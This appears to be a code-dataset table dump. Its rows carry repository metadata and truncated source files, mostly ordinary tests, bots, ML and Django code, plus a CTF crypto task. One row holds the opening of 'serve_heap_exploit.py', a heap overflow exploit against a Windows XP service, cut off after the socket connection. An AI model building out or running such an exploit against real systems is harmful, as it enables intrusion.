hexsha stringlengths 40 40 | size int64 4 1.02M | ext stringclasses 8
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 209 | max_stars_repo_name stringlengths 5 121 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 209 | max_issues_repo_name stringlengths 5 121 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 209 | max_forks_repo_name stringlengths 5 121 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 4 1.02M | avg_line_length float64 1.07 66.1k | max_line_length int64 4 266k | alphanum_fraction float64 0.01 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c808c4f4356cd1279f904adaa9ac62f021b2a691 | 9,874 | py | Python | test/functional/wallet_createwallet.py | mrheat/doichain-core-rebase | 975aa7d438dbdb0baf352299afb3daf70318d37b | [
"MIT"
] | 459 | 2015-09-25T22:46:28.000Z | 2022-02-27T18:01:48.000Z | test/functional/wallet_createwallet.py | mrheat/doichain-core-rebase | 975aa7d438dbdb0baf352299afb3daf70318d37b | [
"MIT"
] | 472 | 2015-09-17T09:42:03.000Z | 2022-03-29T05:29:04.000Z | test/functional/wallet_createwallet.py | mrheat/doichain-core-rebase | 975aa7d438dbdb0baf352299afb3daf70318d37b | [
"MIT"
] | 209 | 2015-10-04T00:49:49.000Z | 2022-03-24T11:05:09.000Z | #!/usr/bin/env python3
# Copyright (c) 2018-2021 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test createwallet arguments.
"""
from test_framework.address import key_to_p2wpkh
from test_framework.... | 58.082353 | 303 | 0.691513 |
49317b1e826dcbe7dd96e4f9f1dc02a6bf0487fa | 7 | py | Python | example/scikitlogistic/cloudmesh_ai/test.py | cloudmesh-community/fa19-516-174 | 1b1aed0dcb4aa2fbe70de86a281c089a75f7aa72 | [
"Apache-2.0"
] | null | null | null | example/scikitlogistic/cloudmesh_ai/test.py | cloudmesh-community/fa19-516-174 | 1b1aed0dcb4aa2fbe70de86a281c089a75f7aa72 | [
"Apache-2.0"
] | null | null | null | example/scikitlogistic/cloudmesh_ai/test.py | cloudmesh-community/fa19-516-174 | 1b1aed0dcb4aa2fbe70de86a281c089a75f7aa72 | [
"Apache-2.0"
] | null | null | null |
file | 1.75 | 4 | 0.571429 |
fe4462e7e739295a8ba63644ced68f486b8ae992 | 767 | py | Python | game.py | hyemi0/enjoy_python | 434e332d014d116c3f2f82b9a55440e9c40e6934 | [
"MIT"
] | null | null | null | game.py | hyemi0/enjoy_python | 434e332d014d116c3f2f82b9a55440e9c40e6934 | [
"MIT"
] | null | null | null | game.py | hyemi0/enjoy_python | 434e332d014d116c3f2f82b9a55440e9c40e6934 | [
"MIT"
] | null | null | null | #포인트 50으로 시작 !
print("신호등에 걸리셨습니다. 기다리시겠습니까?")
a=input("입력해보세요: ")
if a==1: #a가 1일때
print("1번 기다린다. 30초 후에 초록불로 바뀝니다.")
elif a==2: #a가 2일때
print("2번 기다리지 않는다.신호위반입니다. 기다리세요. 30 초 후에 초록불로 바뀝니다.")
else: #a가 1이 아닐때
print("잘못된 선택입니다.")
#score +20
#score -10
print("초록불로 바뀌었습니다 출발하세요.")
print("cctv 단속 구간입니다. 30km이상으로... | 21.305556 | 63 | 0.611473 |
f7991d6350eb0c86d8b2b480cac642c219fac4db | 66,393 | py | Python | src/command_modules/azure-cli-role/azure/cli/command_modules/role/custom.py | srinathnarayanan/azure-cli | b98bddc8dd18e6cb15fc44a6dc160b02a0bd255a | [
"MIT"
] | null | null | null | src/command_modules/azure-cli-role/azure/cli/command_modules/role/custom.py | srinathnarayanan/azure-cli | b98bddc8dd18e6cb15fc44a6dc160b02a0bd255a | [
"MIT"
] | null | null | null | src/command_modules/azure-cli-role/azure/cli/command_modules/role/custom.py | srinathnarayanan/azure-cli | b98bddc8dd18e6cb15fc44a6dc160b02a0bd255a | [
"MIT"
] | null | null | null | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 43.910714 | 162 | 0.663715 |
814b9c9d4c1029229b3f42bda4ae24ae473abb9c | 525 | py | Python | test/units/meta/test_xfcc.py | bronxc/refinery | 9448facf48a0008f27861dd1a5ee8f5218e6bb86 | [
"BSD-3-Clause"
] | 1 | 2022-02-13T20:57:15.000Z | 2022-02-13T20:57:15.000Z | test/units/meta/test_xfcc.py | bronxc/refinery | 9448facf48a0008f27861dd1a5ee8f5218e6bb86 | [
"BSD-3-Clause"
] | null | null | null | test/units/meta/test_xfcc.py | bronxc/refinery | 9448facf48a0008f27861dd1a5ee8f5218e6bb86 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from .. import TestUnitBase
from refinery.lib.loader import load_pipeline as L
class TestCrossFrameChunkCount(TestUnitBase):
def test_01(self):
pipeline = L('emit ABDF AEC ABE [| rex . [| xfcc ]]')
results = {bytes(chunk): chunk['count'] ... | 25 | 71 | 0.497143 |
35d7fd41b62878ea1dc56fef2be88eea1a443cb8 | 38,814 | py | Python | userbot/modules/memes.py | zankforza/OpenUserBot-2 | 5774471b933c8a6c6f3df12ebf98bf7a7fd8ce3d | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | userbot/modules/memes.py | zankforza/OpenUserBot-2 | 5774471b933c8a6c6f3df12ebf98bf7a7fd8ce3d | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | userbot/modules/memes.py | zankforza/OpenUserBot-2 | 5774471b933c8a6c6f3df12ebf98bf7a7fd8ce3d | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 5 | 2019-12-28T15:59:15.000Z | 2020-01-24T18:34:52.000Z | # Copyright (C) 2019 The Raphielscape Company LLC.
#
# Licensed under the Raphielscape Public License, Version 1.c (the "License");
# you may not use this file except in compliance with the License.
""" Userbot module for having some fun with people. """
from asyncio import sleep
from random import choice, getrandbits... | 28.581738 | 157 | 0.479054 |
d4d5a80e8050a8b63dac79712990961e7b7108d8 | 975 | py | Python | tests/remote/unit/test_picamera.py | git-akihakune/pilapse | 2e2cb99e074b5b234c3d8816d421e3d24909e2e6 | [
"MIT"
] | null | null | null | tests/remote/unit/test_picamera.py | git-akihakune/pilapse | 2e2cb99e074b5b234c3d8816d421e3d24909e2e6 | [
"MIT"
] | null | null | null | tests/remote/unit/test_picamera.py | git-akihakune/pilapse | 2e2cb99e074b5b234c3d8816d421e3d24909e2e6 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from picamera.camera import PiCamera
import pytest
def take_picture(camera, workdir:str, image_name:str, res_x:int, res_y:int):
from time import sleep
from os import path
camera.resolution = (res_x, res_y)
# camera warm-up time
sleep(2)
camera.capture(path.join(workdi... | 25.657895 | 76 | 0.684103 |
7b3773c7d7a80e97e3315028be84be6042b7012e | 6,458 | py | Python | athena/data/text_featurizer.py | leixiaoning/athena-2 | 826c3bda241afd388e156bbefcd6ca2e8d88afc9 | [
"Apache-2.0"
] | 1 | 2021-05-20T03:09:32.000Z | 2021-05-20T03:09:32.000Z | athena/data/text_featurizer.py | leixiaoning/athena-2 | 826c3bda241afd388e156bbefcd6ca2e8d88afc9 | [
"Apache-2.0"
] | null | null | null | athena/data/text_featurizer.py | leixiaoning/athena-2 | 826c3bda241afd388e156bbefcd6ca2e8d88afc9 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# Copyright (C) 2019 ATHENA AUTHORS; Xiangang Li; Shuaijiang Zhao
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 31.970297 | 82 | 0.598328 |
c7cc5c9cdfcfbf14718205c8571bc6009b6cb42f | 393 | py | Python | preprocess/003_aggregation/04/python_awesome.py | liyiliuxingyu/Data-preprocessing-goes-from-getting-started-to-real-world | c83fc7b92b52bc106d9a803a6fec24d6470889c3 | [
"BSD-3-Clause"
] | null | null | null | preprocess/003_aggregation/04/python_awesome.py | liyiliuxingyu/Data-preprocessing-goes-from-getting-started-to-real-world | c83fc7b92b52bc106d9a803a6fec24d6470889c3 | [
"BSD-3-Clause"
] | null | null | null | preprocess/003_aggregation/04/python_awesome.py | liyiliuxingyu/Data-preprocessing-goes-from-getting-started-to-real-world | c83fc7b92b52bc106d9a803a6fec24d6470889c3 | [
"BSD-3-Clause"
] | null | null | null | from preprocess.load_data.data_loader import load_hotel_reserve
customer_tb, hotel_tb, reserve_tb = load_hotel_reserve()
# 本书刊登内容如下
# 对total_price列应用var和std函数,计算方差和标准差
result = reserve_tb \
.groupby('hotel_id') \
.agg({'total_price': ['var', 'std']}).reset_index()
result.columns = ['hotel_id', 'price_var', 'price_... | 30.230769 | 63 | 0.765903 |
92d227203915b7af458e29d6fcab2b0b2b5f9838 | 4,304 | py | Python | postgres/import_assets.py | VinChain/vinchain-python-api-backend- | f18bbd78d27d23eea744f1fb9dea90a1b8a30396 | [
"MIT"
] | 1 | 2021-03-17T00:11:02.000Z | 2021-03-17T00:11:02.000Z | postgres/import_assets.py | VinChain/vinchain-python-api-backend | f18bbd78d27d23eea744f1fb9dea90a1b8a30396 | [
"MIT"
] | null | null | null | postgres/import_assets.py | VinChain/vinchain-python-api-backend | f18bbd78d27d23eea744f1fb9dea90a1b8a30396 | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
import json
import psycopg2
from websocket import create_connection
import api
import config
ws = create_connection(config.WEBSOCKET_URL)
con = psycopg2.connect(**config.POSTGRES)
cur = con.cursor()
query = "TRUNCATE assets"
cur.execute(query)
query = "ALTER SEQUENCE assets_id_seq RESTART W... | 26.9 | 165 | 0.622212 |
4d87bd234e6cbfa3787b8375b2d98f02abc0b916 | 2,837 | py | Python | tests/test_tmdb.py | SztMar/movies_catalogue | 8140a37e916d9f67314aa679b46134e1794588e6 | [
"MIT"
] | null | null | null | tests/test_tmdb.py | SztMar/movies_catalogue | 8140a37e916d9f67314aa679b46134e1794588e6 | [
"MIT"
] | null | null | null | tests/test_tmdb.py | SztMar/movies_catalogue | 8140a37e916d9f67314aa679b46134e1794588e6 | [
"MIT"
] | null | null | null | import tmdb_client
from unittest.mock import Mock
import app
from app import app
import pytest
test_list = "top_rated"
def test_get_poster_url_uses_default_size():
# Przygotowanie danych
poster_api_path = "some-poster-path"
expected_default_size = 'w324'
# Wywołanie kodu, który testujemy
poster_url = t... | 31.876404 | 89 | 0.756433 |
f0e098d6f46b56d549a10aa011fbf225c44dbef7 | 26,718 | py | Python | CutUI.py | jfzhang95/simple-labelme | e4a831e56924cde70ee1293dc53e1dd298025051 | [
"MIT"
] | null | null | null | CutUI.py | jfzhang95/simple-labelme | e4a831e56924cde70ee1293dc53e1dd298025051 | [
"MIT"
] | null | null | null | CutUI.py | jfzhang95/simple-labelme | e4a831e56924cde70ee1293dc53e1dd298025051 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import sys
import os
import numpy as np
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
import cv2
from GraphCut import GraphMaker
from PIL import Image
from DEXTR import utils
import torch
from collections import OrderedDict
from DEXTR import deeplab_resnet as... | 41.104615 | 119 | 0.569055 |
9c6e15732c9c0d2244580dc8bcc893f5bda16155 | 277 | py | Python | cotidia/cms/urls/public.py | guillaumepiot/cotidia-cms | 178bfe26b65f1e45d806d6cbe4dd2ec9dae04b7b | [
"BSD-3-Clause"
] | null | null | null | cotidia/cms/urls/public.py | guillaumepiot/cotidia-cms | 178bfe26b65f1e45d806d6cbe4dd2ec9dae04b7b | [
"BSD-3-Clause"
] | null | null | null | cotidia/cms/urls/public.py | guillaumepiot/cotidia-cms | 178bfe26b65f1e45d806d6cbe4dd2ec9dae04b7b | [
"BSD-3-Clause"
] | null | null | null | from django.urls import path
from cotidia.cms.views.public import page, browserconfig
app_name = 'cotidia.cms'
urlpatterns = [
path('', page, name="home"),
path('browserconfig.xml', browserconfig, name="browserconfig"),
path('<path:slug>', page, name="page"),
]
| 23.083333 | 67 | 0.689531 |
faccec200b81b8f4ea2394bf1216c62e2ca5d87e | 495 | py | Python | src/app/celery.py | tempofr/stellar-anchor-server | 6a318e5443936d9e29c6e9592801da8fb52735b7 | [
"Apache-2.0"
] | null | null | null | src/app/celery.py | tempofr/stellar-anchor-server | 6a318e5443936d9e29c6e9592801da8fb52735b7 | [
"Apache-2.0"
] | null | null | null | src/app/celery.py | tempofr/stellar-anchor-server | 6a318e5443936d9e29c6e9592801da8fb52735b7 | [
"Apache-2.0"
] | 1 | 2021-09-15T01:55:46.000Z | 2021-09-15T01:55:46.000Z | """
This module sets up Celery for the Django application.
See: https://docs.celeryproject.org/en/latest/django/first-steps-with-django.html
"""
# pylint: disable=invalid-name
from __future__ import absolute_import
import os
from celery import Celery
from django.conf import settings
os.environ.setdefault("DJANGO_SETT... | 27.5 | 81 | 0.79798 |
2ad1284b17bd7cd2811d5702c79a6dfcf17769a7 | 534 | py | Python | swift/codegen/lib/paths.py | adityasharad/ql | 439dcc0731ae665402466a13daf12737ea3a2a44 | [
"MIT"
] | 643 | 2018-08-03T11:16:54.000Z | 2020-04-27T23:10:55.000Z | swift/codegen/lib/paths.py | DirtyApexAlpha/codeql | 4c59b0d2992ee0d90cc2f46d6a85ac79e1d57f21 | [
"MIT"
] | 1,880 | 2018-08-03T11:28:32.000Z | 2020-04-28T13:18:51.000Z | swift/codegen/lib/paths.py | DirtyApexAlpha/codeql | 4c59b0d2992ee0d90cc2f46d6a85ac79e1d57f21 | [
"MIT"
] | 218 | 2018-08-03T11:16:58.000Z | 2020-04-24T02:24:00.000Z | """ module providing useful filesystem paths """
import pathlib
import sys
import os
try:
workspace_dir = pathlib.Path(os.environ['BUILD_WORKSPACE_DIRECTORY']).resolve() # <- means we are using bazel run
swift_dir = workspace_dir / 'swift'
except KeyError:
_this_file = pathlib.Path(__file__).resolve()
... | 28.105263 | 118 | 0.724719 |
8a1e63a4789873894c5207a127b1bf1a6d19fd0d | 670 | py | Python | models/upload.py | dharmasastra/learning-upload-files | 763ff744e6f2fc6654aeac647401cdfe2c084c85 | [
"MIT"
] | null | null | null | models/upload.py | dharmasastra/learning-upload-files | 763ff744e6f2fc6654aeac647401cdfe2c084c85 | [
"MIT"
] | null | null | null | models/upload.py | dharmasastra/learning-upload-files | 763ff744e6f2fc6654aeac647401cdfe2c084c85 | [
"MIT"
] | null | null | null | from db import db
class UploadModel(db.Model):
__tablename__ = 'upload'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(200), nullable=False)
avatar = db.Column(db.String(300), nullable=False)
def __init__(self, name):
self.name = name
def json(self):
... | 22.333333 | 54 | 0.58209 |
70d2e35534cbfb31e257a327376d43e5cddabc78 | 358 | py | Python | test/test_language_dwarvish.py | evilchili/telisar | 4152de28ed03afecb579c6065414439146b8b169 | [
"Unlicense"
] | 1 | 2018-06-29T14:46:18.000Z | 2018-06-29T14:46:18.000Z | test/test_language_dwarvish.py | evilchili/telisar | 4152de28ed03afecb579c6065414439146b8b169 | [
"Unlicense"
] | null | null | null | test/test_language_dwarvish.py | evilchili/telisar | 4152de28ed03afecb579c6065414439146b8b169 | [
"Unlicense"
] | 1 | 2018-06-29T14:47:07.000Z | 2018-06-29T14:47:07.000Z | import logging
import pytest
from telisar.languages.dwarvish import Dwarvish
@pytest.fixture
def dwarvish():
e = Dwarvish()
e._logger.setLevel(logging.DEBUG)
return e
@pytest.mark.parametrize('name', [
'Moradin',
'Ultar Ultarsson',
'Julia Ultarsson',
])
def test_existing_names(dwarvish, name... | 17.9 | 47 | 0.712291 |
f083fe77eef463a9ae1f791e0bef573688e8f349 | 20,132 | py | Python | tests/test_fieldscontainer.py | pscedu/DPF-Core | 05816d1d4940aacc2b51055ab67b8f4c31fc1ca3 | [
"MIT"
] | null | null | null | tests/test_fieldscontainer.py | pscedu/DPF-Core | 05816d1d4940aacc2b51055ab67b8f4c31fc1ca3 | [
"MIT"
] | null | null | null | tests/test_fieldscontainer.py | pscedu/DPF-Core | 05816d1d4940aacc2b51055ab67b8f4c31fc1ca3 | [
"MIT"
] | null | null | null | import weakref
import pytest
import numpy as np
from ansys.dpf.core import FieldsContainer, Field, TimeFreqSupport
from ansys.dpf.core.custom_fields_container import ElShapeFieldsContainer, BodyFieldsContainer
from ansys.dpf.core import errors as dpf_errors
from ansys.dpf.core import fields_factory
from ansys.dpf.cor... | 33.665552 | 105 | 0.646185 |
fddc8d79e6a742b2b559bb9ca8edcc2325b22383 | 610 | py | Python | keystone/credential/providers/fernet/__init__.py | ferag/keystone | af1c1a822a8dfdd543c6e4d48264f5b8be2bdfc7 | [
"Apache-2.0"
] | 615 | 2015-01-07T12:32:52.000Z | 2022-03-24T03:49:47.000Z | keystone/credential/providers/fernet/__init__.py | ferag/keystone | af1c1a822a8dfdd543c6e4d48264f5b8be2bdfc7 | [
"Apache-2.0"
] | 11 | 2015-04-13T18:52:40.000Z | 2021-08-21T06:13:05.000Z | keystone/credential/providers/fernet/__init__.py | ferag/keystone | af1c1a822a8dfdd543c6e4d48264f5b8be2bdfc7 | [
"Apache-2.0"
] | 696 | 2015-01-15T00:31:07.000Z | 2022-03-16T09:56:00.000Z | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | 43.571429 | 75 | 0.765574 |
1166bfe06093ad6ba7cbd527909bbd8e5e1ec81e | 716 | py | Python | Gathered CTF writeups/ptr-yudai-writeups/2019/ISITDTU_CTF_2019_Quals/decrypt_to_me/task.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | 1 | 2022-03-27T06:00:41.000Z | 2022-03-27T06:00:41.000Z | Gathered CTF writeups/ptr-yudai-writeups/2019/ISITDTU_CTF_2019_Quals/decrypt_to_me/task.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | null | null | null | Gathered CTF writeups/ptr-yudai-writeups/2019/ISITDTU_CTF_2019_Quals/decrypt_to_me/task.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | 1 | 2022-03-27T06:01:42.000Z | 2022-03-27T06:01:42.000Z | import binascii
def generate_prg_bit(n):
state = n
while True:
last_bit = state & 1
yield last_bit
middle_bit = state >> len(bin(n)[2:])//2 & 1
state = (state >> 1) | ((last_bit ^ middle_bit) << (len(bin(n)[2:])-1))
flag = '###########'
enc = "OKQI+f9R+tHEJJGcfko7Ahy2AuL9c8hgtYT2... | 34.095238 | 84 | 0.645251 |
544aac87e697b5d888dd6a4cf7e9e633b1d66a5d | 24,184 | py | Python | tensorlayer/distributed.py | Windaway/tensorlayer | 7afd8f0a39a4f1864a82e508f7a326fc998dc033 | [
"Apache-2.0"
] | 1 | 2019-05-16T13:27:57.000Z | 2019-05-16T13:27:57.000Z | tensorlayer/distributed.py | Helilysyt/tensorlayer | 2dc4482a13aff3833a246b4d85b69a5d9079f01d | [
"Apache-2.0"
] | null | null | null | tensorlayer/distributed.py | Helilysyt/tensorlayer | 2dc4482a13aff3833a246b4d85b69a5d9079f01d | [
"Apache-2.0"
] | 1 | 2021-04-13T06:34:48.000Z | 2021-04-13T06:34:48.000Z | # -*- coding: utf-8 -*-
import json
import os
import time
import tensorflow as tf
from tensorflow.python.training import session_run_hook
from tensorlayer import logging
from tensorlayer.decorators import deprecated
from tensorlayer.lazy_imports import LazyImport
hvd = LazyImport('horovod.tensorflow')
__all__ = ['... | 44.29304 | 121 | 0.673627 |
39abf72ba31a0277445f4961c61a6ea6ec03244c | 2,460 | py | Python | tests/models/validators/v2_2_2_3/jsd_bd26b08b64545bae20f60c56891576.py | oboehmer/dnacentersdk | 25c4e99900640deee91a56aa886874d9cb0ca960 | [
"MIT"
] | 32 | 2019-09-05T05:16:56.000Z | 2022-03-22T09:50:38.000Z | tests/models/validators/v2_2_2_3/jsd_bd26b08b64545bae20f60c56891576.py | oboehmer/dnacentersdk | 25c4e99900640deee91a56aa886874d9cb0ca960 | [
"MIT"
] | 35 | 2019-09-07T18:58:54.000Z | 2022-03-24T19:29:36.000Z | tests/models/validators/v2_2_2_3/jsd_bd26b08b64545bae20f60c56891576.py | oboehmer/dnacentersdk | 25c4e99900640deee91a56aa886874d9cb0ca960 | [
"MIT"
] | 18 | 2019-09-09T11:07:21.000Z | 2022-03-25T08:49:59.000Z | # -*- coding: utf-8 -*-
"""Cisco DNA Center DeletePortAssignmentForAccessPoint data model.
Copyright (c) 2019-2021 Cisco Systems.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restricti... | 35.142857 | 81 | 0.658537 |
775170709fe2da34703e3631758c9532cd68ccdb | 2,962 | py | Python | heap_overflows_for_humans/serve_heap/serve_heap_exploit.py | iphelix/exploits | 1c72773149a2876c9f0fe9d37af8712b3d7c72b9 | [
"Apache-2.0"
] | 5 | 2018-11-23T07:56:54.000Z | 2021-11-17T17:50:19.000Z | heap_overflows_for_humans/serve_heap/serve_heap_exploit.py | iphelix/exploits | 1c72773149a2876c9f0fe9d37af8712b3d7c72b9 | [
"Apache-2.0"
] | null | null | null | heap_overflows_for_humans/serve_heap/serve_heap_exploit.py | iphelix/exploits | 1c72773149a2876c9f0fe9d37af8712b3d7c72b9 | [
"Apache-2.0"
] | 2 | 2021-02-26T22:54:47.000Z | 2021-11-17T17:50:21.000Z | #!/usr/bin/env python
#
# serve_heap heap overflow exploit
# by iphelix
#
# Tested on Windows XP SP3 with DEP set to AlwaysOn
import sys, socket
from struct import pack
from binascii import hexlify
HOST = sys.argv[1]
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
targe... | 35.686747 | 77 | 0.695138 |
258b4f782c0334030c92b8dc80907b23316e4970 | 1,246 | py | Python | recipebox/__init__.py | Caffrey-Hill/recipebox | e67f478f390c50f1bd7e46ab589564eac8379a23 | [
"MIT"
] | null | null | null | recipebox/__init__.py | Caffrey-Hill/recipebox | e67f478f390c50f1bd7e46ab589564eac8379a23 | [
"MIT"
] | 2 | 2020-12-26T14:29:51.000Z | 2020-12-26T14:30:19.000Z | recipebox/__init__.py | Caffrey-Hill/recipebox | e67f478f390c50f1bd7e46ab589564eac8379a23 | [
"MIT"
] | null | null | null | from flask import Flask, render_template
def create_app(config=None):
app = Flask(__name__)
if isinstance(config, dict):
for key in config:
app.config[key] = config[key]
app.config.from_object('recipebox.default_settings')
app.config.from_envvar('RECIPEBOX_SETTINGS', silent=True)
... | 28.318182 | 69 | 0.696629 |
1151805592bc989c97a94f47c654eb62045727f9 | 2,900 | py | Python | tests/tests/test_helpers.py | barberscore/django-cloudinary-storage | e339bec0209ebb636c5f28ddae78f22340dd86ce | [
"MIT"
] | 1 | 2017-08-07T15:46:35.000Z | 2017-08-07T15:46:35.000Z | tests/tests/test_helpers.py | barberscore/django-cloudinary-storage | e339bec0209ebb636c5f28ddae78f22340dd86ce | [
"MIT"
] | null | null | null | tests/tests/test_helpers.py | barberscore/django-cloudinary-storage | e339bec0209ebb636c5f28ddae78f22340dd86ce | [
"MIT"
] | null | null | null | import errno
import os
from io import StringIO
from uuid import uuid4
from cloudinary_storage import app_settings
from cloudinary_storage.management.commands.deleteorphanedmedia import \
Command as DeleteOrphanedMediaCommand
from cloudinary_storage.storage import (HashedFilesMixin,
... | 32.58427 | 112 | 0.692069 |
7ad7e1ba5ac268996b399982bbd29956272ca6df | 356 | py | Python | ampel/base/BadConfig.py | AmpelProject/Ampel-interface | 3c272565c6817555e5a350f12c7d0e11f7d46bb9 | [
"BSD-3-Clause"
] | null | null | null | ampel/base/BadConfig.py | AmpelProject/Ampel-interface | 3c272565c6817555e5a350f12c7d0e11f7d46bb9 | [
"BSD-3-Clause"
] | 8 | 2019-12-26T22:44:41.000Z | 2021-12-15T12:06:42.000Z | ampel/base/BadConfig.py | AmpelProject/Ampel-interface | 3c272565c6817555e5a350f12c7d0e11f7d46bb9 | [
"BSD-3-Clause"
] | 1 | 2020-01-20T14:01:38.000Z | 2020-01-20T14:01:38.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# File : Ampel-interface/ampel/base/BadConfig.py
# License : BSD-3-Clause
# Author : vb <vbrinnel@physik.hu-berlin.de>
# Date : 17.02.2021
# Last Modified Date: 17.02.2021
# Last Modified By : vb <vbrinnel@physik.hu-berlin.de>... | 29.666667 | 61 | 0.603933 |
0849a9a6c803a42d19fdbc61f5ab49cdf242acf2 | 1,913 | py | Python | ssseg/modules/datasets/sbushadow.py | zhizhangxian/sssegmentation | 90613f6e0abf4cdd729cf382ab2a915e106d8649 | [
"MIT"
] | 411 | 2020-10-22T02:24:57.000Z | 2022-03-31T11:19:17.000Z | ssseg/modules/datasets/sbushadow.py | zhizhangxian/sssegmentation | 90613f6e0abf4cdd729cf382ab2a915e106d8649 | [
"MIT"
] | 24 | 2020-12-21T03:53:54.000Z | 2022-03-17T06:50:00.000Z | ssseg/modules/datasets/sbushadow.py | zhizhangxian/sssegmentation | 90613f6e0abf4cdd729cf382ab2a915e106d8649 | [
"MIT"
] | 59 | 2020-12-04T03:40:12.000Z | 2022-03-30T09:12:47.000Z | '''
Function:
load the sbu-shadow dataset
Author:
Zhenchao Jin
'''
import os
from .base import *
'''sbu-shadow dataset'''
class SBUShadowDataset(BaseDataset):
num_classes = 2
classnames = ['__backgroud__', 'shadow']
def __init__(self, mode, logger_handle, dataset_cfg, **kwargs):
super(SBUS... | 42.511111 | 95 | 0.632514 |
5b1514af6f18c650eaffd786d782be82fa3ccef9 | 16,557 | py | Python | test/functional/rpc_decodescript.py | crptec/sinovate | 345a81f99ec7e624e0ec244a7dbe1ebb3698c347 | [
"MIT"
] | 213 | 2015-01-25T19:45:22.000Z | 2022-02-24T22:48:03.000Z | test/functional/rpc_decodescript.py | crptec/sinovate | 345a81f99ec7e624e0ec244a7dbe1ebb3698c347 | [
"MIT"
] | 51 | 2019-11-03T04:00:14.000Z | 2022-03-30T07:17:34.000Z | test/functional/rpc_decodescript.py | crptec/sinovate | 345a81f99ec7e624e0ec244a7dbe1ebb3698c347 | [
"MIT"
] | 32 | 2015-05-12T17:42:55.000Z | 2022-01-26T11:02:51.000Z | #!/usr/bin/env python3
# Copyright (c) 2015-2019 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test decoding scripts via decodescript RPC command."""
from test_framework.messages import (
sha25... | 69.567227 | 761 | 0.7569 |
2f9ba0db3279aaeca12fd97f17f6dfa20066cc10 | 2,789 | py | Python | src/tunewhale/profile/models.py | mariaaprilrose/fuck | f6b081ce3d6bdc59c9da3da2e7e70a5e36a560f1 | [
"BSD-3-Clause"
] | null | null | null | src/tunewhale/profile/models.py | mariaaprilrose/fuck | f6b081ce3d6bdc59c9da3da2e7e70a5e36a560f1 | [
"BSD-3-Clause"
] | 1 | 2015-07-15T06:18:34.000Z | 2015-07-15T06:18:49.000Z | src/tunewhale/profile/models.py | mariaaprilrose/fuck | f6b081ce3d6bdc59c9da3da2e7e70a5e36a560f1 | [
"BSD-3-Clause"
] | null | null | null | import os
from django.conf import settings
from django.db import models
from django.contrib.auth.models import User
def update_avatar_filename(instance, filename):
extension = filename.split('.')[-1]
filename = '{0}.{1}'.format('avatar', extension)
path = '{0}{1}'.format(settings.USER_UPLOAD_PATH,
... | 42.257576 | 100 | 0.621011 |
288da210651d5f7d8193354cb24fe917bdf025cd | 567 | py | Python | grapl-cdk/delete_log_groups.py | Seabreg/grapl | 8316cda9996bea051b77cb5a7b892113b8a2b0e3 | [
"Apache-2.0"
] | null | null | null | grapl-cdk/delete_log_groups.py | Seabreg/grapl | 8316cda9996bea051b77cb5a7b892113b8a2b0e3 | [
"Apache-2.0"
] | null | null | null | grapl-cdk/delete_log_groups.py | Seabreg/grapl | 8316cda9996bea051b77cb5a7b892113b8a2b0e3 | [
"Apache-2.0"
] | null | null | null | import json
import boto3
cwlogs = boto3.client('logs')
loglist = cwlogs.describe_log_groups(
logGroupNamePrefix='engagement'
)
#writes json output to file...
with open('loglist.json', 'w') as outfile:
json.dump(loglist, outfile, ensure_ascii=False, indent=4,
sort_keys=True)
#Opens file and sea... | 22.68 | 61 | 0.696649 |
97afd65a824953c7976aff894c098225994792a4 | 20,582 | py | Python | python/test/mapreduce/status_test.py | Khan/appengine-mapreduce-1 | 7afdd4f6ae523c55a12273dec6649d7f71ce2379 | [
"Apache-2.0"
] | null | null | null | python/test/mapreduce/status_test.py | Khan/appengine-mapreduce-1 | 7afdd4f6ae523c55a12273dec6649d7f71ce2379 | [
"Apache-2.0"
